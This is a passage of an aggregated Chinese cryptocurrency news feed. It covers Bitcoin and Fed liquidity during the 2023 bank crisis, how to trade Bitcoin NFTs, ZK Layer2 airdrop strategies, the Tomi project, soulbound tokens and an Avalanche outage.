与银行“资不抵贷”的的债券数量相比，这是一个很小的数字（美国银行持有的证券未实现损失总额约为 6500 亿美元）。 但银行只会在以下情况下使用此工具：1）真的需要（这不是低成本的资金），以及 2）具有必要的抵押品质量。 BTC 将受益于宽松的货币政策，但这个故事比看起来更复杂。 美联储的贴现窗口出现了更令人担忧的激增，银行通过贴现窗口直接从美联储而不是从其他银行借款。 在截至 3 月 15 日的一周内，银行从贴现窗口借入了创纪录的 1528 亿美元，甚至高于 2008 年金融危机期间的水平。 从技术上讲，这不是新的注资，因为银行存入抵押品以换取贷款。 但无论抵押品条款如何，美联储实质上是在用流动性较低的资产换取流动性较高的资产——债券换现金。 这增加了市场上的资金流通，从而增加了流动性。 但整个经济的流动性却大大降低了。 贴现窗口的激增凸显了银行的恐惧程度。 美联储的支持被视为银行的最后手段，他们只有在无法相互借钱时才求助于美联储，因为这是一个更昂贵的选择。 如果银行不向其他银行放贷，你可以打赌他们也不会向企业客户放贷。 由于美联储的举措，这波流动性浪潮理应席卷市场？ 除了通过 BTFP 预付的相对较少的金额外，它还不是真实的。 话又说回来，市场真的不需要做出反应。 对市场来说更重要的是预期，他们似乎在暗示紧缩已经基本结束，当前的危机将迫使美联储迅速放松政策。 我们在联邦基金期货定价中看到了这一点，这表明美联储主席鲍威尔将在 7 月开始降息。 我们在油价中也看到了这一点，由于预期需求下降，油价最近跌至 2021 年底以来的最低日收盘价。 宽松的货币政策通常意味着更多的资金（因为钱相对容易借到）追求更高的回报（因为较低的利率意味着政府债券等更安全资产的收益率较低）。 这往往会将投资者推向风险曲线之外，因为这是更高回报的地方，这就是为什么我们谈论更高的“流动性”有利于“风险资产”。 在风险资产中，BTC 对流动性的波动最为敏感，它无疑是传统意义上的风险资产（鉴于其高波动性），并且与股票和债券不同，它没有收益或信用评级漏洞。 与几乎所有其他资产不同，它不受实体经济的束缚，除非受到流动性流动的影响。 在盈利预期可能下调和企业整体脆弱的环境下，“纯投资”可能会吸引宏观投资者。 BTC 近期相对于其他加密资产的出色表现，以及现货和衍生品交易量的激增，表明这已经开始了。 美国印钞的预期（如果实现）将进一步造成美元贬值，突出具有固定供应的资产的保值属性。 几个世纪以来，黄金一直是传统的避风港，并在早些时候达到了自去年初俄乌战争以来的最高点。 然而，黄金并不完全具有抗压性，除非通过中心化的第三方，否则很难存储，而且使用起来也很复杂。 另一方面，BTC 是数字化的，可以相对轻松地移动，并且是一种不断发展的技术，其用例尚未出现。 更为紧迫的是对银行业日益增长的担忧。 大约 14 年前，比特币的创造者中本聪在第一个区块中留下了文字“The Times 03/Jan/2009 Chancellor on brink of second bailout for banks（泰晤士报当天的头版标题：财政大臣正站在第二轮救助银行业的边缘）”。 虽然很少有人预计比特币会很快取代法定货币，但许多人可能会认为它作为一种保险资产，可在银行停业的情况下用于经济活动。 比特币的创建是为了替代传统的集中式金融——这种说法在当今的不确定性中具有更大的相关性。 所有这一切都可能体现在明年离开加密市场的职业经理人的投资组合调整决策中，以及那些迄今为止一直在场外困惑或怀疑观望的人。 所有人都会记得上一次货币宽松政策与瞬息万变的市场和新型流动资产相结合时发生的事情。 许多人希望避免被指责第二次错过，尤其是当许多三年前想象的障碍（不稳定的系统、消耗过多的能量、可能被禁止）在某种程度上被去除时。 注意到这一点的不仅仅是专业投资者。 周四，Axios 报道称，应用程序监控服务 Apptopia 检测到自 Silvergate Bank 关闭以来加密钱包下载量急剧增加。 机构往往不会在移动应用程序上托管加密资产，因此这更有可能反映出零售兴趣的回升。 这可能是回暖正在升温，就像不断演变的银行业危机一样。 美联储为支撑银行而采取的举措可能在一定程度上遏制了恐慌，但一个形象的比喻是，它们是在被切断的动脉上贴创可贴。 来自斯坦福大学、哥伦比亚大学和其他大学的一组研究人员上周发表的一篇论文显示，10% 的银行的未确认资产负债表损失比硅谷银行更大； 10% 的资本金较低，近 190 家银行面临受保存款人受损的风险，大约 3000 亿美元的受保存款可能面临风险。 从银行的强劲资金流出来看，人们对银行系统的信任似乎正在动摇——上周，货币市场基金出现了自 2020 年 4 月以来的最大资金流入。欧洲的银行业问题目前很棘手而且溢出效应明显，那里的企业问题因交易部门和财富管理部门的疲软而加剧，可能会进一步损害全球银行体系所依赖的信心。 在这种环境下，一种不依赖中心化信任的资产很可能会吸引更多的关注。 更重要的是，在经历了一年令人震惊的一系列严重打击之后，加密市场在最近几个月表现出了非凡的弹性。 即使在压力下，交易也得到执行，资产转移，稳定币脱钩得到纠正，唯一的交易限制是由于在传统银行营业时间之外无法进入法币结算通道。 换句话说，加密市场发挥了作用。 银行业没有； 考虑到上周停牌的次数，传统市场也没有。 因此，虽然 BTC 和更广泛的加密货币生态系统将受益于更宽松的货币政策，甚至比其他资产受益更多，但这个故事比看起来更微妙。 一方面，货币政策目前还没有明显放松，尽管朝着这个方向转变的预期似乎确实推动了本周的走势。 另一方面，加密叙事是多层递进式的，每一层都将提供价格支持，它还准备在未来发挥更大的相关性。 加密生态系统中的许多人早就意识到，在全球金融体系的脆弱性进一步暴露之前，BTC 不太可能在主流层面上真正展示其长期价值，这对很多人来说意味着更多痛苦和等待，那些为近期价格欢呼的“半吊子”流动性专家请记住这一点。  ( 5 min )
    比特币NFT基建蓬勃发展，体验起来有OpenSea那么方便吗？
    原文：《我们试着在比特币上交易NFT，体验离OpenSea差多少？》 作者：Cookie，律动 BlockBeats 一个多月前，想要探索比特币 NFT 世界，需要下载安装 Bitcoin Core，花费可能数日的时间等待同步比特币诞生至今的所有区块数据，再通过命令行安装 Ord Wallet... 搞定以上问题后，还要学习怎么用 Sparrow 管理 UTXO 防止比特币 NFT 被转丢... 头大，实在难顶。 但是也就仅仅过去了这么一个多月，比特币 NFT 相关基建快速发展。现在，想要交易比特币 NFT，已经不再如此硬核，主流比特币 NFT 交易市场都已经采用「PSBT」技术实现了「无需信任」的交易。（「PSBT」技术详解：「Ordinals 创始人怒驳 Yuga Labs 拍卖，为什么 PSBT 才是比特币 NFT 交易的正解？」）区别只在于有的市场（Ordinals Wallet/Ordswap）通过内置钱包来提供「一站式服务」体验，有的（Gamma/Magic Eden/Openordex）需要安装 Xverse/Hiro Wallet/UniSat 等外置浏览器钱包插件来完成签名。 接下来我们以 Ordinals Wallet 和 Magic Eden 为例来演示一下比特币 NFT 的交易。 Ordinals Wallet 是没有浏览器插件的，属于「网站内置钱包」。进入官网后，点击「Create Wallet」： 点击后将跳转至下图页面，点击「Create New Wallet」来生成钱包： 「Password」框内输入新密码，「Confirm Password」框内再次输入设定的新密码确认，然后点击「Generate seed pharse」： 将生成好的助记词妥善保存下来（否则无法通过下一步，也无法恢复钱包）： 根据前面保存下来的助记词，选择对应序号的助记词填充上去： 正确填充后将显示「Success」，然后点击「Next」： 到这里就正式完成了新钱包的创建。之后，只要不清理 Cookie 和浏览器缓存，登录状态会一直保持。如果清理了，则需要输入助记词来恢复钱包。点击「Enter」，我们会跳转到自己的钱包管理页： 下图被红框框起的部分是一些重点需要掌握的功能： - 「Receive」：点击「Receive」将得到充值地址。要想在 Ordinals Wallet 中购买比特币 NFT，需要往充值地址内转入比特币。如果是使用 CEX 直接提币，选择 Bitcoin 网络即可。 - 「View recovery」：查看钱包助记词。 - 「Sign message」：适用于特定比特币 NFT 项目持有者签名获取 Ordinals Wallet Discord 的特定持有者身份。 - 「My inscriptions/Inscriptions Balance」：显示所持有的比特币 NFT/比特币 NFT 所对应的比特币价值总和。有时候充值比特币后，可用比特币余额会被锁入 Inscriptions Balance。若长时间没有恢复正常，需要去 Ordinals Wallet Discord 反馈问题。 - 「Wallet History」：比特币余额变动记录。 完成比特币充值后，我们就可以开始购买比特币 NFT 了。这里我们以 Bitcoin Frog 为例，在「Collections」中找到 Bitcoin Frog，在心仪的图片下面点击「Buy Now」： 如果长时间没有操作，点击「Buy Now」后会要求输入密码。若密码输入正确且钱包余额充足，那么确定交易即可。 回到钱包详情页，看自己购得的比特币 NFT： 如需上架出售，点击「List for sale」，输入出售价格： 确认无误后，再点击「List for sale」以完成上架： 成功上架后的提示： 取消上架只需点击「Cancel sale」即可： Magic Eden 在 Ordinals Wallet 的交易流程中是「无需签名」的，因为「网站内置钱包」已经预先搞定了签名的所需工作。使用 Magic Eden 则需要安装外置钱包，我们以 Hiro Wallet 为例进行演示。 访问Hiro Wallet官网，安装浏览器插件： 安装并创建好钱包后，向 Hiro Wallet 转入用于购买 NFT 的比特币： 点击「Receive」 点击「Bitcoin」栏右边的二维码图标，保存地址或地址对应的二维码，接着就是从其它比特币钱包或 CEX 把比特币转到这个地址了 然后我们打开Magic Eden，在右上角连接钱包： 点击右上角的「Connect Wallet」 Hiro Wallet 会弹窗，确定选择连接到 Magic Eden 的地址 连接成功后，在首页搜索自己想要购买的比特币 NFT 系列，然后进入到系列详情页选择自己喜欢的「图片」购买： 第一次使用 Magic Eden 购买会要求「Prepare your wallet」，创建一个单独的 UTXO 确保 NFT 不会在转移中丢失。点击按钮即可 接着会出现如下提示，继续点击： 如果钱包内的资金充足，接下来会用 Hiro Wallet 再签一次名。如果不充足（不够额外支付 Gas 费），就会直接无法构建交易： 无法构建交易，资金余额不足 可以看见，购买比特币 NFT 的过程和在 OpenSea 上购买 ETH NFT 在体验上已经相差无几。但是依然有一些暂时还没有解决的问题： 1. 比特币没有智能合约，每个 NFT 系列也不是通过合约来识别，必须由每个 NFT 市场手动收录。目前成交量和关注度居前的比特币 NFT 基本上都可以在主流市场上交易，但是由于没有聚合器，还是要挑选流动性比较大的市场。比如本文用于演示的项目 Bitcoin Frog，尽管在 Gamma 和 Magic Eden 上都有被收录，但是在 Gamma 上只有寥寥个位数的挂单，Magic Eden 上则有很多。 2. 如果之前一直在使用「内置钱包」市场，需要转到 Gamma/Magic Eden 等「外置钱包」市场交易时，还需要把「内置钱包」导入到「外置钱包」，或是将「内置钱包」的 NFT 转移到「外置钱包」。也就是说，比特币 NFT 交易市场间目前还存在一些「壁垒」，开始将使用习惯变成使用 Xverse/Hiro/UniSat 等「外置钱包」会比较方便。 3. 每个 NFT 系列的数据分析相关内容还有待完善。  ( 6 min )
    梳理三大ZK系Layer2交互策略：zkSync、StarkNet及Scroll
    原文：《梳理三大 ZK 系 Layer2 交互策略》 作者：Azuma，Odaily星球日报 受Arbitrum「撒钱」刺激，业界的空投热情再次被点燃，而ZK Rollup系 Layer2 们则成为了所有羊毛党们关注的焦点。 作为以太坊扩容的普遍共识，采用 Rollup 解决方案的 Layer2 们凭借着极高的估值以及较为确定的发币预期，一直以来都被空投圈子视为优先级最高的选择，而伴随着 Optimistic Rollup 系两大代表选手Optimism和 Arbitrum 先后发币，羊毛党们自然就把视线转移到了相对更早期的 ZK Rollup 之上。 根据 gm365 在Dune Analytics上所编制的数据，过去几天桥接至zkSync及 StarkNet 等两大代表性 ZK Rollup 的资金量均出现了激增。此外，zkSync Lite 上的主要交易平台 ZigZag 也表示其单日交易量一度增长至近 10 万笔，链上活动明显增多。 虽然 ZK Rollup 已经卷到了一个新高度，关于具体项目已然快照的流言也已多次传出。但鉴于 ZK Rollup 仍是接下来很长一段时间内最具想象力的赛道，且 Arbitrum 的空投案例（二月快照）也再次证明了在正式官宣之前什么时候动手交互都不算晚，因此我们认为仍有必要对 ZK Rollup 的空投机会进行一次整理。 接下来，我们将依次梳理 zkSync、StarkNet、Scroll 等三大主流 ZK Rollup 项目的开发进展、发币预期、交互策略。之所以排除了PolygonzkEVM、Immutable zkEVM、ConsenSyszkEVM、Taiko 等其他几个主流项目，是因为 Polygon 和 Immutable 均已发行Token，而 ConsenSys zkEVM 测试网暂未上线且其开发主体作为美国公司所受的监管约束较大，Taiko 在关闭了首个测试网后暂时仍未推出第二个测试网，相对而言空投概率均较小。 zkSync 是由德国开发团队 Matter Labs 于 2019 年开始构建的以太坊Layer 2扩容解决方案，其创始团队曾多次确认未来将会发行Token。 去年 11 月，Matter Labs 宣布完成 2 亿美元 C 轮融资，Blockchain Capital 和 Dragonfly 共同领投，a16z、Variant、Lightspeed Venture Partners 等参投。该轮融资完成后，Matter Labs 的历史总融资额已经达到了 4.58 亿美元。 当前，zkSync 共运营有两个网络，分别为不支持 zkEVM 的 1.0 网络zkSync Lite，以及支持 zkEVM 的 2.0 网络 zkSync Era，这也意味着zkSync 将有两条不同的交互路径。 zkSync Lite 已上线运行多年，用户可通过「官方网页钱包」激活该链地址；再使用「官方桥」或「Orbiter」、「Layerswap」等第三方桥接服务将ETH等资金存入该网络；继而再于 ZigZag 进行交易操作；或是在钱包内置的NFT功能界面试着铸造一些 NFT； 如果赶上了 Gitcoin 捐赠活动，也可尝试利用zkSync Lite 进行捐赠。 官方网页钱包：https://lite.zksync.io/account/ 官方桥：https://lite.zksync.io/transaction/deposit Orbiter：https://www.orbiter.finance/ Layerswap：https://www.layerswap.io/ ZigZag：https://trade.zigzag.exchange/ 内置的 NFT 功能界面：https://lite.zksync.io/account/nft zkSync Era∎ 虽然也已上线了主网，但暂时仅向开发者开放（需注册），用户当前可尝试在 zkSync 2.0 Testnet Goerli 测试网（如上图所示）试用一些该生态 Dapps。该测试网的 ETH 可通过官方桥（https://goerli.portal.zksync.io/）从以太坊 Goerli 测试网桥接而来；生态内值得交互的项目包括 SyncSwap、Nexon Finance、Mes Protocol、Mute、OnChain.Trade 等等。 SyncSwap：https://syncswap.xyz/ Nexon Finance：https://testnet.nexon.finance/ Mes Protocol：https://app.mesprotocol.com/ Mute：https://testnet.switch.mute.io/ OnChain.Trade：https://beta.onchain.trade/ StarkNet 是由以色列开发团队StarkWare构建的 Layer2 解决方案。 去年 5 月，StarkWare以 80 亿美元估值完成了 1 亿美元的 D 轮融资，这也使得其对外披露的总融资额达到了 2.73 亿美元。 本周，Starknet 基金会宣布任命了五个新的委员会，并提到其中的拨备委员会将负责规划、监督和执行 StarkNet 生态系统Token STRK 的供应及分发。STRK 除了将作为参与 StarkNet 共识机制的质押Token外，还将作为网络的治理Token和支付网络交易费用的 gas Token。 当前，StarkNet 已经上线主网，但暂时功能并不完善，网络性能存在限制。用户可通过「Braavos」（更推荐这个）和「Argent」钱包链接至该网络并创建地址；再通过官方桥「StarkGate」或是「Orbiter」、「LayerSwap」等第三方桥存入 ETH 等资金；再使用「MySwap」、「10K Swap」、「JediSwap」、「MintSquare」、「StarkNet.id」等较常用的生态 Dapps。 此外，有条件的用户还可以在 StarkNet 的「治理委托界面」申请成为治理代表，或许会得到由开发团队授予的一定规模的治理权益。 Braavos：https://braavos.app Argent：https://www.argent.xyz/ StarkGate：https://starkgate.starknet.io/ Orbiter：https://www.orbiter.finance/ Layerswap：https://www.layerswap.io/ MySwap：https://www.myswap.xyz/ 10 K Swap：https://10 kswap.com/ JediSwap：https://jediswap.xyz/ MintSquare：https://mintsquare.io/starknet StarkNet.id：https://www.starknet.id/ 治理委托页面：https://delegate.starknet.io/ 值得一提的是，3 月 22 日凌晨，StarkNet Alpha v0.11.0 已在测试网，这意味着开发者及用户已能够在 StarkNet 测试网上部署 Cairo 1.0 合约并与之交互，该升级预计将在几周内部署至主网。届时，用户将可体验一个性能更为强劲的StarkNet。 Scroll 初次亮相于EthCC 2022，是一个主打「EVM 完全等效」的 Layer2 解决方案。 本月初，Scroll 刚刚完成了 5000 万美元的新一轮融资，Polychain Capital、Sequoia China（红杉中国）、Bain Capital Crypto、Moore Capital Management、Variant Fund、Newman Capital、IOSG Ventures、Qiming Venture Partners、OKXVentures 参投。本轮融资使 Scroll 的融资总额达到了 8300 万美元。 当前，Scroll 处于 Alpha 测试网阶段。用户可通过官方的「测试网配置界面」一键添加该网络；然后再通过「官方桥」将以太坊Goerli 测试网的 ETH 等资金转移至Alpha 测试网；继而再体验「Uniswap（分叉版应用）」「SyncSwap」、「Tictactoe」等生态 Dapps。 值得一提的是，通过 Scroll 在 Guild 上发布的新任务可以在官方 Discord 内也解锁一个新身份「Mystery Role」，或许未来也会发挥某些神秘作用。 测试网配置界面：https://scroll.io/alpha 官方桥：https://scroll.io/alpha/bridge Scroll Uniswap：https://uniswap-v3.scroll.io/#/swap SyncSwap：https://staging.syncswap.xyz/ Tictactoe：https://onchain-tictactoe.vercel.app/ Guild 任务：https://guild.xyz/scrollzkp 文章的最后，还是想提醒各位朋友，虽然人人都想要通过空投获利，但必须牢记空投本质上仍是一个非确定性事件。 尤其是随着「薅羊毛」逐渐作为一个产业而工作室化，越来越多的项目都开始思考如何与羊毛党进行博弈。从交互时间，到资金量级，再到钱包余额，乃至不同钱包间的资金关系，有意空投项目方们一直都在探寻如何规避羊毛党，将Token分发至真正的用户手中；另一边，羊毛党则试图「魔高一丈」，提前预判项目方的规避措施；反过来项目方们又想着去预判羊毛党的预判…… 站在用户角度出发，我们能做的只有尽量多地去体验各种新生的网络及应用，从而不断丰富自己的交互策略，但同时或许也需保持一些「得之我幸，失之我命」的理性。毕竟，区块链是个透明的世界，项目方可以清晰地看到其用户群在链上的交互记录，更可以借此制定出相应的空投方案。用户的交互策略难免会与项目方的空投方案完全或部分失配，因此大可不必太过执着，一次错失后瞄准下次机会即可，ZK 之后还有模块化、Move 系、社交、re-staking 等潜在热点，这个行业仍然有许多机会在等着你。  ( 6 min )
    熊牛过渡？比特币已实现价格拐点再现
    作者：onchained, CryptoQuant 编译：Felix, PANews 已实现价格代表了基于所有流通比特币的平均成本，计算方法是将所有比特币的价值除以当前流通量。已实现价格是基于这样一个假设：即每个UTXO（注：UTXO是Unspent Transaction Output的缩写，意为未花费的输出）的价值是比特币最后一次在链上移动的价格。 在牛市期间，由于市场参与者以更高的价格水平购买比特币，因此比特币的已实现价格通常会更高。这就导致了每枚代币支付的平均价格呈抛物线增长，直到比特币达到历史新高。一旦发生这种情况，已实现价格往往会形成一个“平坦的平台”，在熊市期间(价格下跌高达70%)，已实现价格可能会略有下降。例如，在最近2023年1月的熊市中，已实现价格从2021年12月的2.45万美元下降到更低的水平(逐渐从2.45万美元左右下降到2万美元以下)。 这种下降的原因是长期持有者以较低的价格囤积比特币，导致他们的已实现价格（长期持有者的已实现价格）下降。 在最近比特币市场价格下跌25%(发生在本月)期间，比特币的已实现价格跌至1.98万美元，创下了熊市的最低水平。这是因为比特币的需求压力很大，当比特币价格跌破2万美元时，这种需求压力大量积累。这一累积使已实现价格跌至1.97万美元，表明出现了拐点。 从熊市到牛市的过渡通常以已实现价格的拐点为特征。在过去的两周里，比特币经历了从1.95万美元到2.88万美元的升值，比特币的已实现价格再次开始上涨，达到三个月高点19916美元。由于对比特币的需求增加，比特币的已实现价格很有可能突破2万美元，以恢复其历史最高水平。  ( 4 min )
    一文了解融资4000万美元追求网络自由的去中心化匿名项目Tomi
    一、认识Tomi 由一群匿名的加密资深从业人士创建的Tomi 是一家 web3 公司，专注于提供硬件和软件的去中心化服务，具体包括去中心化的云挖矿、云存储、云托管等方面的扩展解决方案。Tomi凭借其全新互联网：TomiNET、超级电脑：MP1、域名系统: tDNS、数字钱包：TomiPay等服务或产品，允许任何人轻松实现自由经济、言论自由和网络自由，以实现其自由世界的愿景。 二、全新互联网：TomiNET TomiNET是Tomi创建的一个由去中心化自治组织（ DAO）管理的全新的互联网, 替代当前受政府控制和审查的旧网络。TomiNet 使用自建的高级去中心化域名系统 (tDNS)支持加密地址和 IPFS 实现根本无法管控限制的自由网络。 TomiNET是一个功能强大的浏览器，结合了 Web2 和 Web3的最好技术，以保护用户隐私，实现用户拥有数据和互联网的自治。世界上任何人都可以通过简单易用的TomiNET，进入一个自由的全新的互联网，以 .Tomi 结尾的域存储在去中心化的云中，可在全球范围内的任何地点访问。TomiNET通过内置的IPFS 集成、Tor onion路由和自定义过滤器列表以实现与 Tomi 域和网站的安全可靠的连接。 TomiNET项目确保基础设施的长期生存和用户的长期自由: 言论自由、政治自由、经济自由、人身自由等。 Tomi MP1是一个迷你的超级电脑，是Tomi的硬件解决方案主打产品， 是一个提供巨大计算能力的Web3 服务器，Tomi MP1配备了最新技术，可执行高效和高性能的计算任务： 复杂模拟 真实感渲染 实时光线追踪 加速人工智能 人工智能增强应用 虚拟现实应用 区块链 GPU 挖掘 用户在使用Tomi MP1的上述功能之时，还可以获得Tomi挖矿的丰厚奖励，这意味着用户不需要其他的专用挖矿设备进行挖矿。 Tomi MP1 服务器可以开箱即用，所有级别的用户都能够获得挖矿的收益，而无需克服挖矿设备组装所代表的障碍。Tomi MP1 服务器还具有比专用挖矿设备更环保的额外好处，因为它不仅消耗更少的能源并且更高效，可以在家庭环境中轻松维护, 这意味着需要花费在制冷和维护上的资源更少。1200 TCP 算力、500MH/s 算力、22.5kg 重量、2W/MH 功率效率等规格的MP1，对每个区块链爱好者都有巨大的吸引力。根据Tomi的官网，Tomi MP1 当前的价格为$14999。 tDNS是TomiNet 的去中心化web3 DNS,  在链上通过代表 URL 所有权的加密NFT以及实际地址，实现网络上任何实体都不能控制通过后的地址（approved address）。tDNS由 Tomi 的先驱通过 DAO的形式进行控制，使其不受任何审查以允许言论自由。 用户可以成为域名的原始铸造者Original minter 铸造地址：https://tdns.network/domainSearhResult/active/mm 那么这个用户就拥有了了这个域名的版税权： 也即该用户永远有权获得出售该域名时销售价格的 25％。     任何人都可以竞标他们想要的域名，设置开始出价后，域名将在 48 小时内进行拍卖，任何人都可以在该时间内对该域名进行出价。拍卖的获胜者将获得参与拍卖的域名。 五、数字钱包：TomiPay 通过在其 MP1 服务器之外提供功能强大（但用户友好）的多链钱包，可以真正实现区块链技术的民主化。作为一个多链钱包，Tomi 的数字钱包支持一些最流行和最可靠的区块链网络。 目前，网路列表包括： TomiPay 具有钱包的基本功能，TomiPay可以用于存储和交易世界上主要的加密货币、连接顶级 DAPP 以实现defi挖矿、玩去中心化游戏等。 网络拥塞对于像 Tomi 这样的多链钱包来说不是问题。Tomi 的数字钱包提供的一些功能包括：生物识别保护、引脚保护、因素身份验证、用户对其私钥的保管、NFT 存储和库、DAPP浏览器、购买和交易所加密货、DeFi 功能、区块链游戏等。 六、DAO 结构 TomiDAO由于 Tomi 的使命是让大众与统治互联网数十年的传统中心化实体竞争，因此建立一个DAO来指导和治理 TomiNET，是必须的。 TomiDAO 旨在管理、发展、维护和奖励的社区， TomiDAO 将负责所有与 TomiNet有关的决策，其通过完全分散和秘密的投票系统保护成员免受胁迫或其他形式的贿赂。 TomiDAO 将获得项目收入的一部分，具体如下： Tomi所有利润的7% Tomi池所得收益的15% Tomi 从销售服务器计算机和向网络提供计算能力的许可中获得的利润的 50%。 上述这些获得的收入将由 DAO 社区控制和使用。有兴趣参与 DAO 的用户必须持有 Tomi Governance 代币，治理代币将允许成员对涉及项目和 DAO 资金使用的重大决策的提案进行投票。 Tomi的先驱（pioneers)也就是第一批DAO成员，是构建硬件和软件的主要参与者。先驱的选票不可转让但可以委托，先驱者可以将您的投票权分配给另一个先驱者。 Tomi 将推出一个顶级 nft 系列，该系NFT由先驱成员集体拥有。 TOMI是Tomi的代币，旨在确保项目及其生态系统的长期自我可持续性、安全性和长寿性，并提供足够丰厚的补偿和奖励，以吸引开发人员的大规模采用，同时吸引社区和用户的大量采用。Tomi 代币在 TomiNet 的生态系统中的作用主要有： DAO 投票和委托（针对 TomiDAO 的成员）。 通过 TomiDAO 的金库奖励网络贡献者。 开发基金（由 TomiDAO 控制的自动生成的基金，仅用于激励平台上的开发）。 在 TomiNet 上购买域名。 TomiNet 的云服务支付。 在 TomiNet 中支付产品和服务费用。 支付与 TomiNet 和 Tomi 生态系统相关的费用。 更多实用程序（包括质押、空投、销毁机制等）将由 TomiDAO 确定。 Tomi 代币将按照下图进行分配：   Tomi代币的通胀和分配增长将如下所示： 链接：https://tomi.com/blog/token-utility-and-tokenomics?id=327 当前Tomi代币已在火币、gate.io和MEXC Global开始交易。 九、融资信息 3 月 22 日，Tomi 完成 4000 万美元融资，DWF Labs、Ticker Capital、Piha Equities 以及日本加密投资者 Hirokado Kohji 领投。 Official Website：https://tomi.com/ Whitepaper Link：https://tomi.com/newmmm/Tomi_Free_As_In_Speech_Whitepaper_V1.0.pdf explorer Links：https://etherscan.io/token Tiktok： https://www.tiktok.com/@Tominetwork Instagram： https://www.instagram.com/Tomipioneers/ Twitter： https://twitter.com/Tomipioneers Telegram： https://t.me/Tomipioneers Discord： https://discord.gg/Tomi BitCoinTalk： https://Tomipioneers.com/bitcointalk  ( 5 min )
    从POAP徽章到火必DMBT，在Web3.0世界铸造可信灵魂
    2022年5月，以太坊创始人Vitalik Buterin 一篇名为《去中心化社会：寻找Web3的灵魂》（《DecentralizedSociety: Finding Web3's Soul》）的论文将灵魂绑定代币（SoulBound Token，简称SBT）推上了风口，并迅速在Web3.0世界中传播开来。 时隔近一年，行业内对于SBT的概念、前景多有探讨和尝试。然而除了最早的SBT雏形Web3.0出席证明协议POAP徽章以及加密货币交易所币安推出的BAB（Binance Account Boun）短暂火热之外，其他项目并没有激起太多水花。涉及到SBT的应用落地，市场依然冷清寥寥无几。 好在加密市场从不缺少吃螃蟹的勇士。继币安之后，另一家知名加密货币交易所火必在SBT领域做出了大胆尝试和创新，联合波场、DMC Labs推出了多米尼克元宇宙绑定代币DMBT（Dominica Metaverse Bound Token，简称DMBT）。 回顾SBT的发展，从最早的POAP徽章到今天的火必DMBT……SBT落地有了新的可能。 POAP徽章，SBT的起源 灵魂绑定（Soulbound ）一词最初是来自魔兽世界，在游戏中被 Soulbound的物品是无法用来出售、邮寄或转赠他人，只能由玩家自己使用。作为魔兽资深玩家的 V 神显然是从游戏中获得了灵感，从而创造出了 SBT的概念。 简单来说 SBT 是一种可编程的、不可转让但可撤销与找回的，同时附带可验证信息的通证，类似一份不断扩展的个人简历（包含教育证书、就业经历、出席证明等）。通过与其社会关系相关联的钱包进行验证，SBT 可以帮助用户在Web3.0 世界中构筑一个与现实社会映射的完整身份，解决长期以来阻碍 Web3.0 世界发展的用户身份系统问题。也因此 SBT 被认为是实现 Web3.0 的重要推动力。 虽然灵魂绑定一词在去年早些时候才被创造出来，但诞生于2019年的Web3.0出席证明协议POAP却是最早的SBT雏形，也曾多次被V神提及。 POAP 是“Proof-Of-Attendance Protocol（出席证明协议）”的缩写，是一种分发加密徽章的机制，用于记录和纪念特定事件的发生。POAP 代币可作为一种易于验证的证据，证明用户在事件发生时在场。就像人们可以通过知道你在收集音乐会门票、参加多次见面会来相信你是某位歌手的头号粉丝。通过收集徽章也可以代表你参加过许多不同的活动。 据Dune数据显示，自 2020 年 10 月以来，在 Gnosis 链（xDAI）上已经铸造了超过 640 万个 POAP。即使在过去几个月的熊市中，铸造 POAP 仍然有稳定的需求。 V神曾表示，POAP 既可以作为个人身份证明协议的成分，也可以作为尝试确定某人是否是某一社区成员的方式（对治理或空投有价值）。 综合来看，当前加密市场上，基于SBT的应用以POAP这种“证书”类项目为最多。类似项目还有Project Galaxy、RabbitHole等。其共同点是会为用户的链上/链下行为颁发SBT形式的“证书”。这个“证书”代表了持有者的经历或资质。与之合作的项目可以依靠用户拥有的证书更精确地定位和过滤用户，以开展其他活动或业务。 DMBT，Web3.0中的可信灵魂 使用SBT直接作为用户的身份凭证，是SBT应用的另一种形式。身份凭证是一种聚合了由自身发行的多个证书的高阶项目。在这个体系中，SBT实现了去中心化身份DID的功能。 当前，SBT作为身份凭证的典型项目主要有币安推出的BAB、火必联合波场TRON推出的DMBT以及数字资产托管平台Cobo联合MetaMask、Gnosis DAO共同推出的Evolution。 以DMBT为例。DMBT是用户经过火必KYC之后选择铸造的链上身份，用来证明持有者是经验证过的多米尼克元宇宙数字公民（Dominica Metaverse Digital Citizen，简称DMDC）。作为SBT，DMBT具备不可转让、可注销、唯一性的特征。 据悉，用户完成火必KYC-L3身份认证即可申领多米尼克元宇宙数字身份DDID，成为DMDC后，即可获取DMBT铸币资格及进行链上铸造。持有DMBT的用户，在缴纳一定的工本费后，可收到多米尼克元宇宙数字公民身份证DMIC （Dominica Metaverse Identification Card）的实体证件。 不同于BAB代表完成币安KYC的证明，DMBT代表的是更宏大的功能和愿景。作为经验证的DDID持有者，有望享受与现实世界映射的链上链下多重权益，包括：主流交易平台的KYC认证身份、在符合当地法律的前提下开设银行账户、可用于实体消费场景下的主流会员权益体系共享等。换言之，DMBT要做的是Web3.0世界中的可信灵魂，是负责任的区块链精神。 结语 从POAP徽章到火必DMBT……各类SBT的演绎以及随之而来的技术实现，为 Web3.0 世界带来了新的基础设施、技术标准、应用形态。 同时，我们也可以清楚地看到SBT还处于早期阶段，各种项目都在尝试不同的方法。虽然部分项目获得了发展，但大多数项目都面临着需求不足等诸多挑战和技术问题。 不过，正如V神所说：“Desoc（Decentralized Society，去中心化社会）不仅值得我们承受代价去应对这些挑战，而且可能是确保我们生存的必经之路。”在一个人类观察比以往任何时候都更具有预见性的时代，我们或终将迎来基于SBT的Web3.0新世界。  ( 4 min )
    Avalanche X链部分节点仍处于离线状态，交易严重滞后
    PANews 3月23日消息，据CoinDesk报道，虽然Avalanche C链今日早间在出现宕机后已恢复出块，但Avalanche X链部分节点目前仍处于离线状态，链上数据显示，X链的网络质量已经下降，只能处理少量交易。它似乎每小时只能处理几笔交易，这使得该链几乎无法使用。 超过90%的验证者已经升级到最新版本的AvalancheGo，这高于今天早些时候的12%。虽然Avalanche尚未就此次中断发表公开声明，但许多贡献者正在其GitHub论坛上努力解决该问题。 据悉，Avalanche由三个可互操作的区块链组成：X链（交易链）、C链（合约链）和P链（平台链）。  ( 4 min )
    NFT如何在科学领域知识产权发挥优势？
